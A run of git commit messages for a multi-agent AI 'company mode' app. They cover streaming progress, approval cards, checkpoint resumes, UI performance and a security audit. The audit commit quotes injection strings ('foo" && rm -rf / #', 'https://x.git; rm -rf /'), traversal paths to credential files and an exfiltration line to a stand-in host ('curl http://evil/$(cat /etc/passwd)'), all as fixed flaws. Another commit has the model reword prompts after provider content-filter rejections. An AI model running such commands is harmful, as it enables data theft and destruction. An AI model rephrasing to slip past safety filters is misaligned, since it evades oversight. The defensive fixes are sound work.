Two user-visible defects in company mode, root-caused via project 6666/8888
DB forensics:
Progress-row flicker (thinking preview appearing/disappearing): progress
entries were broadcast to clients before reaching the persistence buffer,
so a tool_call-triggered session_detail snapshot rebuilt from the DB erased
freshly streamed entries from the live log. Buffer now fills before the
broadcast and session_detail flushes it before reading.
Native role transcripts incomplete (thinking only at start, no narration,
no final summary — external agents unaffected):
- thinking deltas shared one stream id per conversation turn while seq
reset per iteration, collapsing all iterations into one entry and
silently dropping live thinking from iteration 2 on; now keyed per
iteration like assistant deltas
- assistant_delta events were mapped to None; company mode now surfaces
them as streaming 'assistant' progress entries (rendered as Reply cards,
merged like thinking, excluded from inline chat rows)
- thinking was persisted one row per token, flooding the 1000-entry cap
and evicting interleaved tool history; append_progress now folds
streaming deltas per (type, turn, stream) with seq dedup
- the terminal company turn was hidden at summary detail and, worse, its
id-keyed backfill merge kept the first-inserted intermediate content, so
the final reply never reached any channel; terminal turns are now
flagged company_final_turn, visible at summary detail, and carry their
own ui_message_id so they insert as fresh rows
- appendProgressEntry applied its seq guard against unrelated entries when
the stream key was absent from the log, killing the first delta of any
fresh stream; the guard now only applies within the same stream
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Empty role tools lists resolve to every registered general tool for
native agents (external agents were never restricted), letting the
model pick tools itself across all five org configs (40 roles).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Company-mode UIs became unusably slow once work items and transcripts
grew. Three presentation-layer fixes, none touching work progression:
- App.tsx: buffer assistant_delta/thinking_delta store writes per task
and flush every 80ms instead of once per token; any non-delta event
for the same task flushes first so draft/clearDraft ordering is
byte-identical. The unconditional per-event setUiTick (whole-app
re-render per websocket event) is now a 300ms trailing throttle.
- PhaserGame: display:none does not stop requestAnimationFrame, so the
office scene kept burning CPU on every other page. The loop now
sleeps when the office page is hidden and wakes (with a parent-bounds
refresh) on return; bridge writes stay synchronous so no state is lost.
- Kanban collab_sync debounce 0.2s -> 1.5s: the broadcaster is a
trailing coalescer, so the final board state still always ships; each
fire is a full-project snapshot build, which at 5/s dominated backend
CPU on large projects. CommsPanel poll 8s -> 30s (comms_state_dirty
push already drives freshness) and its interval no longer pins a
stale onRefresh closure.
Verified: tsc + vite build, App.test.tsx / workItemSessions structural
tests, backend suites (company_review_flow incl. debounce push test,
kanban_push_runtime, actor_runtime_company_mode, task_mode_contract,
work_item_transition — 119 green), and canvas_smoke e2e against a real
server with zero console errors.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Project 3333 forensics: env_engineer sent a blocking question to the CTO,
got a full reply 96s later, and still deadlocked the whole run — the
park half (`_park_for_blocking_comms`) had no wired consumer, so
WAITING_FOR_PEER work items could never be released.
Unpark path (root fix):
- The dispatcher loop now calls `_try_unpark_blocking_comms` each tick
for parked, non-in-flight tasks; blocking replies land as durable
inbox files, so the check is read-only until all replies are present.
- `_try_unpark_blocking_comms` accepts orphaned waits (peer_wait
stripped by the legacy resolver while the work item stayed parked)
and falls back to the park predicate itself: an empty unresolved
blocking outbox releases the task, anything pending keeps it parked.
- `resolve_task_peer_wait` no longer touches comms_blocking waits (it
flipped task.status without the work-item phase and stripped the
peer_wait evidence); `_resume_peer_checkpoint` re-enters the company
runtime for comms/orphaned waits and lets the dispatcher converge.
File tools (defaults changed at their declaration sites, honoring the
"empty tools = everything, explicit list = exactly that" contract):
- corporate builtin groups gain file_write/file_edit for coordination,
QA, and data-acquisition roles.
- all shipped org YAML role tool lists gain the missing
file_write/file_edit entries.
- coordination turn modes no longer strip file_write/file_edit at
runtime — in-context content (briefs, matrices) must be persistable
instead of getting trapped in blocking DM hand-offs.
Also includes the pending office_ui ws_handler change from the working
tree.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Collapse the dual permission stack into one policy. The runtime-side
ToolPermissionResolver (own safe lists, own grant memory, bypassed the
ApprovalEngine whenever it said ALLOW) is deleted; runtime_v2 now consults
ApprovalEngine.predict(), a synchronous fast path reading the same config
and the same persisted allowlist as the async authorize pipeline, so a
grant given anywhere is honored everywhere. permissions.py keeps only a
policy-free adapter; the duplicated permissions_v2 config fields and the
runtime grant persistence loop are removed (stale YAML keys are ignored).
New shell_safety module becomes the single source of truth for shell
classification: flag-audited read-only commands (awk/od/jq/sed -n/diff/
git subcommand table/... auto-allow; find -delete, sort -o, curl -o/-d,
rg --pre still prompt even when the bare name is config-listed),
keyword-aware compound splitting (loop/branch headers no longer poison
grants), expansion-safe $() handling, and fail-closed treatment of
anything unparseable or substitution-bearing.
Grant semantics are rebuilt around derived word-boundary prefixes:
"python3 -c" instead of token bags, interpreter -c/-m kept in the prefix,
bash/eval/sudo never grantable as prefixes, read-only segments exempt
from the every-candidate-must-match rule so a granted command chained
with ls/echo verification passes, and approve-once now records the exact
candidates as a session grant so identical re-runs stop re-prompting.
The authorize heuristic also audits the original command text instead of
the quote-dropping preview (echo "<EOF>" no longer reads as redirection).
Validated live on zz_perm_probe1 (native minimal org): awk/od/ls/cat/
sha256sum ran with zero cards, python3 -c parked once and three different
python3 -c commands then passed via the persisted prefix grant, and an
agent-issued rm -f compound correctly re-prompted showing only the
segments needing approval. Full suite failures are byte-identical to the
pre-change HEAD baseline (27 pre-existing).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Four coordinated fixes for company runs permanently stalling around
tool-approval parks (project 1111 forensics + live reproduction):
- company executor dispatch loop now exits convergently when nothing is
in flight and every remaining task waits on a human: immediate parked
exit when all waiters have pending checkpoints, bounded stall ticks
otherwise. Previously it polled sleep(5) forever, hanging the turn
(observed 7.5h), never answering the user, and holding claims that
blocked any later rescue turn.
- _resume_task_checkpoint routes work-item runtime tasks through the
delegation state machine: release the human wait via the legal
AWAITING_HUMAN -> READY recovery exit, clear stale claims, and hand
the item back to the dispatcher (runtime-snapshot fallback when the
checkpoint payload lacks a plan) instead of a detached single-agent
re-run that never advances the work item phase.
- startup recovery reverse self-heal: an awaiting_human task whose park
checkpoint was already resolved (human answered, resume cut off before
the phase write) is reopened for dispatch instead of being preserved
as a wait nobody can end. Runs before the metadata-plan gate since
modern runs no longer carry the plan in task metadata.
- pause checkpoints record execution_mode from the durable
work_item_runtime marker instead of volatile task metadata, which
degraded to task_mode after a first resume and misrouted the next one.
Validated end-to-end on a live native-agent minimal-org run
(park -> approve -> re-park -> approve -> complete -> deliver, plus
synthesized crash-between-resolve-and-phase-write healed on restart).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Project 000, 19:21/20:27: the engine recorded its assistant reply in
session_messages, but the post-turn transcript sync never surfaced it in the
ui_state channel, and nothing reconciled afterwards — the user watched an
empty conversation while the reply sat in the DB. And at 19:13 the same reply
was persisted twice in one channel under `<id>` and `<id>::<project>::<channel>`.
Two fixes:
- _ensure_reply_projected: after the transcript sync, if the session's newest
persisted top_level_reply row is absent from the chat store (checked by
transcript message id, so nothing user-visible is ever duplicated or leaked),
insert and broadcast it directly. Reproduced by test: with the sync disabled
the reply previously never reached the channel.
- backfill_messages: a live insert racing the backfill snapshot now merges into
the existing same-scope row (new _merge_into_same_scope_row, also used by the
IntegrityError fallback) instead of minting a `::`-scoped alias id in the
message's own channel.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Typed-3-shown-5 forensics (project 000): the WS client queues session_send
payloads while disconnected and flushes the queue after a reconnect, and the
server minted a fresh row id per delivery — so one typed message could land
as several user turns, each dispatched to the engine.
Every send now carries a client-generated ui_message_id (dispatchSessionSend
injects one when the caller didn't). The handler persists the user row under
that id and answers any later delivery in the same channel with an idempotent
ack instead of inserting and dispatching again. Because the row id now equals
the optimistic bubble's ui_message_id, the echo also merges with the local
message even after the transcript sync rewrites row metadata.
Same text intentionally sent again gets a fresh id and still starts a new turn.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
A task_user_input checkpoint created by an approval escalation (payload
runtime_v2.permission_requests non-empty) used to capture the next plain chat
message in the session as its answer. With deferred approval cards now staying
pending indefinitely (c9018000), that implicit capture would swallow every
later conversation message into the approval reply.
Permission prompts are decided through their approval card, whose reply always
carries an explicit response_to_checkpoint_id; a plain message now falls
through to normal turn processing and the card stays pending and clickable.
Waits without a permission request (agent asked the user a question) keep
accepting typed answers unchanged.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
This reverts the revert e1c28c38, re-landing d502d66c.
Forensics on the project 000 incident show the original revert was a
misattribution: the failures observed at 19:00-19:21 ran on a server started
before the fix was committed (19:59), and the 20:27 failure was the separate
company_work_item_plan schema collision (fixed in the previous commit), which
this change never claimed to cover.
Re-landing is also now required by c9018000: the deferred approval-card click
path rewrites the reply to target the parked AWAITING_HUMAN checkpoint and
resumes through _resume_task_checkpoint — without this change that resume hits
the empty-task-list + MULTI_AGENT value-alias bug and returns an empty reply
on company tasks.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Every completed company session's follow-up was answered with the canned
"Legacy company runtime run ... read-only" text (project 000, 2026-07-07).
Root cause: snapshot loaders read task.metadata work_item_runtime_plan as a
serialized run-level CompanyWorkItemRuntimePlan, but work-item tasks persist a
per-item assignment spec (projection_id/turn_type/summary/deliverables/...)
under that key. from_dict on the wrong shape silently yields an empty plan
(no projections, empty metadata), _runtime_uses_multi_team_org returns False,
and the resume path falls through to the legacy read-only branch.
Add is_serialized_company_work_item_runtime_plan (a run-level plan always
serializes with projections + runtime_model; a spec always carries
projection_id) and route all full-plan metadata reads through
serialized_company_plan_from_metadata, which skips wrong-shaped candidates so
the loaders fall back to the sample-metadata-constructed plan instead of an
empty one. Fixes existing DBs read-side; no data migration.
Verified: old path on the 000 shape classifies multi_team_org=False, new path
True; regression tests cover shape discrimination, snapshot classification,
and the follow-up never reporting legacy.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Approval friction (harmless commands kept prompting):
- Persist "Allow for this session" grants to approval_allowlist.yaml under a
new sessions scope (capped LRU), hydrated lazily, so they survive `opc ui`
restarts and re-entering the session instead of living only in memory.
- Safe-prefix matching now accepts compound read-only commands: every segment
must match a safe prefix, and fd-duplication / /dev/null redirections
(2>&1, 2>/dev/null) no longer disqualify a command; real write redirections
(>, >>, <) still do. Default safe prefixes gain common read-only commands
(cd, cat, head, grep, git log, ...).
- First-use approval now gates only MEDIUM+ risk; heuristically LOW actions
proceed without a card.
- Shell-substitution detection flags eval/source only at command position of a
segment (no more false positives on `grep source file`); $(...) and
backticks still flag anywhere.
Approval card timeout redesign (deferred decisions):
- The card's structured approval context (action, allowlist patterns, scopes)
now travels through the escalation event into the persisted card metadata.
- Timeout without a default action no longer marks the card timed out, and the
session-detail reconciler no longer stales deferred-capable cards: the card
stays pending and clickable indefinitely, including across restarts.
- Clicking after the inline wait expired applies the allowlist grant
(approve-once grants the exact command at session scope), resolves the card,
and rewrites the reply to target the parked AWAITING_HUMAN checkpoint so the
task resumes through the normal message pipeline and the retried command
auto-approves. With no parked checkpoint the grant still lands and a helper
reply explains the state.
Verified: approval engine suite (40) incl. new deferred-decision and
compound-command tests, ws_handler + runtime suites green, real escalated
commands from project 999 replayed against the user's config now auto-approve
while pip install / $(...) / rm -rf / write redirects still prompt.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
A company-mode review left a pending task_user_input checkpoint behind: the
runtime carried the paused work item forward via approval-card grants and a
fresh review attempt without ever replying through the engine checkpoint. The
orphan row then captured the user's next chat message and resumed through the
deprecated multi-agent path with an empty task list, returning an empty reply.
Invariants added:
- write side: when a task settles (done/failed/cancelled) its pending
task_user_input/task_peer_wait checkpoints are superseded
- read side: checkpoint matching lazily resolves rows whose task settled or
whose linked work item reached a terminal phase (heals existing dirty DBs)
- resume: the primary task is always part of the resumed set; the
MULTI_AGENT/COMPANY_MODE value-alias no longer routes company checkpoints
into _execute_multi_agent (which silently returned "" on empty task lists)
Perf: get_latest_pending_checkpoint_for_session is called per task on every
UI sync tick, and its parent-session resolution loaded and JSON-parsed the
entire tasks table each time (24MB with inline artifact blobs) — a full core
pegged at 100% and the event loop starved so replies never surfaced. Now a
no-live-checkpoints fast path returns immediately, and the resolution uses a
targeted session_id query backed by a new tasks(session_id) index.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Deleting a project closed its store but left the delegate cached in
_project_engine_delegates; re-creating a same-name project then reused the
zombie engine and crashed in get_session. delete() now closes and evicts via
_close_project_engine_store (also covers non-active deletes), the delegate
cache self-heals when a cached store is closed, and _engine_for_project
reopens a closed store for the non-evictable root engine case.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Approval cards raised by company-mode internal scheduling turns (review/report
work items, session ids like `<root>:review::<wid>::vN`) were posted to the
turn's own session channel, which the UI deliberately hides. The card silently
timed out after 300s and the work item parked on AWAITING_HUMAN, so users saw
only the gate card and never the approval prompt. ws_handler now detects these
internal turns and routes their escalation cards to origin_task_id, the root
session's primary task channel, or the activity channel — never the hidden one.
Also unblocks the previously dead origin/session fallbacks in the resolver.
Unclassified LLM stream failures (e.g. provider content-filter rejections like
"input may contain sensitive information") used to hit a blind truncate-retry
loop that replayed the identical payload for a dozen-plus consecutive failures.
runtime_v2 now feeds the provider's verbatim error text back into the
conversation as a "[runtime notice]" system message so the model can adapt
(rephrase, drop quotes, change tack), bounded at 2 feedback retries (counter
resets on any successful stream) plus one context-reset attempt, then fails
honestly with the real error. The blind truncate path remains only for
classified tool-protocol errors.
Verified: new end-to-end tests for recover-after-notice and bounded-failure;
runtime_v2 + ws_handler + escalation/approval + company-mode suites all green.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Native agent progress panel (company mode):
- ws_handler: filter runtime bookkeeping noise (turn/status/member_inbox_updated),
keep tool_completed as tool_call, thinking summary previews content,
preserve raw thinking_delta fragments (no strip; skip whitespace-only)
- frontend progressLog: summarize thinking by content preview; merge thinking
by detail only so the 'Thinking' label never splices into text
- AgentProgressBlock: add bottom "Show more (N earlier steps)" toggle
ui_state.db "database is locked" hardening:
- ws_handler: isolate engine progress/kanban/runtime-event callbacks so UI
persistence failures never crash work items
- chat_store: busy_timeout, _retry_locked backoff, idempotent insert_message
(INSERT OR REPLACE), create_channel read-before-write to stop poll writes
- server: flock single-instance guard for `opc ui` per OPC home
Approval card duplicate-click bug:
- EscalationPanel: disable buttons on click with Submitting state and 30s
reconnect fallback
- ws_handler: stale-escalation branch checks real card status (new
chat_store.get_checkpoint_message); already-resolved cards get an accurate
"already handled (decision: X)" reply without being re-marked stale;
dedup identical helper messages within 120s to stop reply spam
Company mode prompt:
- add soft guidance that the runtime monitors state and re-activates roles,
so leaders need not poll work items after delegation/review
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Office canvas fixes:
- Lazy-create the Phaser game via ResizeObserver on the first non-zero
layout instead of creating it inside the display:none office page with
inline px fallback sizes. Phaser's RESIZE-mode 500ms parent poll has no
zero guard, so the old path shrank the canvas to 0x0 (blue-black screen)
and later restored it to a stale wrong size (clipped office).
- On unhide, re-measure with scale.getParentBounds() before scale.refresh();
plain scale.resize() is clobbered by the stale cached parentSize in
RESIZE mode.
- Fix whole-game freeze when clicking an office card: camera effects
resolve ease names via EaseMap, which has no 'Cubic.Out' key, leaving
effect.ease undefined and killing the RAF loop with a per-frame
TypeError. Use 'Cubic.easeOut' for cam.pan in panToOffice/resetCameraView.
- Bound GameBridge queues (latest snapshot supersedes, event queue capped)
since game creation is now deferred until the Office page is first opened.
Sidebar:
- Add a collapse/expand handle on the canvas/sidebar boundary with a 220ms
grid transition; state persists in localStorage. The canvas follows the
column change automatically through the ResizeObserver path. Stacked
(<=1024px) layout collapses the bottom panel and moves the handle to the
bottom edge.
README:
- Add Simplified Chinese translation (README.zh-CN.md) with a language
switcher in both files; fix stale TOC entries in the English README.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
A generous config default (32768) hard-fails on providers that reject an
oversized max_tokens (e.g. DeepSeek caps output at 8192). Clamp to
litellm's max_output_tokens when known, log once per model; unknown
models pass through unchanged.
- get_context_window() now reads litellm.get_model_info().max_input_tokens
instead of get_max_tokens(), which returns the output cap and severely
under-reported the window for every mapped model (e.g. deepseek 8k vs 1M)
- models litellm cannot map fall back to 128000 with a single warning per
model instead of warning on every call and returning None
- raise LLMConfig.max_tokens default 8192 -> 32768 to match the template
- README: configure the API key directly in llm_config.yaml; document
max_tokens / context_window in the example
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Loguru has no exc_info kwarg: extra kwargs are str.format() arguments, so
logger.error(f"...{e}", exc_info=True) forces .format() on the rendered
message — any error text containing braces (e.g. a JSON error body) raises
KeyError FROM the log call itself, escaping the surrounding except block and
killing the caller (observed: whole agent turns dying in benchmark runs).
The intended traceback was also never logged, since exc_info is not a loguru
feature.
Batch fix of all 143 sites across 11 files:
logger.X(msg, exc_info=True) -> logger.opt(exception=True).X(msg)
(one exc_info=exc site -> opt(exception=exc))
Messages are byte-identical; with the kwarg gone loguru never calls
.format(), so brace-containing f-string messages are inert.
Verified: AST post-conditions per file, py_compile, import smoke of all
modules, behavioral equivalence of the 3 patterns, full unit suite (1549
passed) with a failure set identical to the pristine tree (22 pre-existing,
zero regressions).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Also add pixel-agents to the README acknowledgements.
A security and robustness audit of the tool-execution, market-package, and
approval subsystems surfaced several high-impact issues. Each is fixed with a
minimal, targeted change; regression tests are included.
Command injection (shell_exec runs `bash -lc "<cmd>"`, so interpolated args are
shell-evaluated):
- git_commit: the commit message was interpolated raw into the command string.
A message like `foo" && rm -rf / #` injected arbitrary commands, and the
approval layer never inspects `message`. Now shlex-quoted.
- git_clone: the URL was interpolated raw. `https://x.git; rm -rf /` or
`$(curl ...)` was executed. Now shlex-quoted.
Path traversal:
- package_loader._write_prompts / uninstall: `package_id` (from an untrusted
manifest) was used directly as a directory name under prompts/market and
passed to mkdir(parents=True) / shutil.rmtree. An id like
`../../projects/<victim>` enabled arbitrary file write and arbitrary
directory deletion. Added _market_prompts_dir() which validates the id
(lowercase alphanumeric + -/_) and confirms the resolved path stays inside
the market base; uninstall validates up front. Prompt-content filenames are
also confined to the package dir.
- sandbox_checker: a malformed package id was only a *warning*, so
report.passed stayed True and callers proceeded. Promoted to a hard error.
- package_exporter: prompt refs (bare strings from package definitions) were
read with `opc_home / ref`, so `/etc/passwd` or `../../.aws/credentials`
were bundled into exported packages. Now confined to opc_home.
- ws_handler._write_custom_prompt: employee_id (derived from user-supplied
role id/name) flowed unchecked into the path, enabling traversal writes.
Now reduced to a safe path component with a containment check.
Approval bypass:
- approval: a command beginning with a safe prefix (curl/echo/find/...) was
auto-approved as LOW risk even when it contained shell command substitution.
`curl http://evil/$(cat /etc/passwd)` was classified safe and ran with no
human/LLM review, letting bash exfil data. Added
_command_has_shell_substitution() and gated safe-prefix matching on it.
Correctness / robustness:
- shell: when a shell_prefix was active, `[args[0], args[1], command]` dropped
the `-Command` flag from PowerShell argv (4 elements), silently breaking
every prefixed PowerShell tool call. Now replaces only the trailing arg.
- runtime_v2: tool arguments that are valid JSON but not an object (e.g. a
JSON array) were silently replaced with `{}` while arguments_parse_error
stayed None, so the tool executed with empty args (todo_write could wipe the
task ledger). Now flagged with a parse error.
- store: _json_loads raised on corrupt JSON; it is called during
store.initialize() (via _sweep_stale_claims), so a single corrupt row
prevented the store from ever opening. Now falls back to the default.
- engine: _parse_reorg_payload returned any JSON type; callers did
`.get(...)` and crashed (AttributeError) on `reorg propose 42`. Now returns
None for non-dict JSON.
- channels.manager: a single failing channel.send propagated out of the only
outbound dispatch loop and silently stopped all message delivery on every
channel until restart. Now caught and logged.
- ws_handler: a non-object JSON frame (null/number/array/string) made
`data.get` raise AttributeError and drop the whole WS connection. Non-dict
frames are now ignored.
Co-Authored-By: Claude <noreply@anthropic.com>
LZH-YS1998